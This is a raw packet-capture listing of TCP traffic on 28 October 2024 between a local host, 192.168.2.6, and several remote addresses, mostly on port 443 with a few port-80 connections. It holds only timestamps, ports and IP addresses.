Oct 28, 2024 02:07:24.711744070 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.711781979 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.711842060 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.711879969 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.711895943 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.711911917 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.711930990 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.711976051 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.711982965 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.717256069 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.717325926 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.717331886 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.718339920 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.718832970 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.718894958 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.718910933 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.719187975 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.719221115 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.719350100 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.719362020 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.719676971 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.719688892 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.723295927 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:24.723387003 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:24.725100994 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:24.725111008 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:24.725330114 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:24.771701097 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.771702051 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:24.771712065 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.777188063 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:24.818500042 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.823338032 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:24.830502987 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.830699921 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.830784082 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.830790997 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.830812931 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.830868006 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.830890894 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.834583998 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.834676981 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.834690094 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.841269016 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.841329098 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.841336012 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.847908974 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.848167896 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.848279953 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.848350048 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.848350048 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.848396063 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.848404884 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.850866079 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.850934029 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.850948095 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.851847887 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.851886034 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.852005959 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.852190018 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.852206945 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.853039026 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.853183031 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.854125977 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.854125977 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.854511976 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.854526997 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.857373953 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.857426882 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.857484102 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.857726097 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.857745886 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.858551979 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.858612061 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.858642101 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.867286921 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.867599010 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.867613077 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.876259089 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.876588106 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.876622915 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.886544943 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.886629105 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.886648893 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.928002119 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.928019047 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.949058056 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.949146986 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.949173927 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.949182987 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.949311018 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.949378967 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.949387074 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.949500084 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.949990988 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.950179100 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.950265884 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.950273037 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.951026917 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.951148033 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.951148987 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.951174974 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.951303005 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.958106041 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.959533930 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.959589958 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.959613085 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.968308926 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.968414068 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.968420029 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.968439102 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.968513012 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.970223904 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.976993084 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.977014065 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.977056026 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.977066994 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.977112055 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.982518911 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.988276958 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.988296032 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.988334894 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.988341093 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.988390923 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.994286060 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.994446039 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.995089054 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.995110035 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.995562077 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.995568037 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.000425100 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.000442028 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.000616074 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.000623941 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.000864983 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.006373882 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.012502909 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.012573957 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.012588978 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.018877983 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.018949032 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.018956900 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.019325018 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.019392014 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.019484997 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.019603014 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.019603014 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.019617081 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.019625902 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.054529905 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.054665089 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.054678917 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.058237076 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.058274984 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.058341026 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.058594942 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.058604956 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.067694902 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.067732096 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.067768097 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.067779064 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.067785978 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.067827940 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.068308115 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.068351984 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.068414927 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.068430901 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.068499088 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.068742037 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.068783045 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.068830967 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.068852901 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.068866014 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.069031954 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.069601059 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.069658041 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.069685936 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.069719076 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.069724083 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.069827080 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.070702076 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.076683998 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.076710939 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.076734066 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.076740026 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.076937914 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.079271078 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.086792946 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.086817026 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.086879015 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.086894035 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.087055922 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.087188005 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.087228060 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:25.087282896 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:25.122842073 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.123023033 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.123137951 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.123137951 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.123224020 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.123236895 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.125750065 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.125777006 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.125839949 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.125993967 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.126004934 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.228703976 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.229178905 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.229195118 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.229648113 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.229654074 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.367397070 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.367460012 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.367511988 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.367752075 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.367763996 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.367774010 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.367779016 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.375819921 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.375840902 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.375910044 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.376451015 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.376461983 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.445875883 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.446154118 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.446183920 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.447148085 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.447212934 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.448183060 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.448255062 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.449327946 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.449414968 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.449500084 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.449512959 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.449532986 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.490117073 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.490129948 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.580132008 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.580883026 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.580910921 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.581353903 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.581362963 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.584588051 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.585021973 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.585050106 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.585555077 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.585561991 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.708842039 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.709060907 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.709125996 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.709182978 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.709206104 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.709233999 CET	49788	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.709243059 CET	443	49788	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.711805105 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.711843967 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.711925030 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.712151051 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.712166071 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.713341951 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.713665009 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.713726044 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.713762999 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.713773966 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.713805914 CET	49789	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.713814020 CET	443	49789	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.716466904 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.716504097 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.716876030 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.717047930 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.717066050 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.730108976 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.730535030 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.730550051 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.730947971 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.730951071 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.732224941 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.786973953 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.786983967 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.789345026 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.789428949 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:25.789580107 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:25.859193087 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.859456062 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.859560013 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.859617949 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.859617949 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.859632969 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.859643936 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.861255884 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.861747980 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.861761093 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.862406969 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.862413883 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.863290071 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.863357067 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.863529921 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.863717079 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.863745928 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.906126976 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.906208992 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.907376051 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.907382965 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.907615900 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.914227962 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:25.955362082 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:25.998420000 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.998725891 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.998789072 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.999222994 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.999236107 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:25.999243975 CET	49792	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:25.999248981 CET	443	49792	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.004261017 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.004287004 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.004349947 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.005244970 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.005259037 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.059256077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:26.059983015 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:26.064611912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:26.065308094 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:26.065391064 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:26.065713882 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:26.065740108 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:26.071552038 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:26.071582079 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:26.098400116 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.099023104 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.099033117 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.101685047 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.101692915 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.160707951 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:26.160774946 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:26.160831928 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:26.161843061 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:26.161856890 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:26.161870956 CET	49791	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:26.161878109 CET	443	49791	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:26.232556105 CET	443	49794	13.107.246.60	192.168.2.6
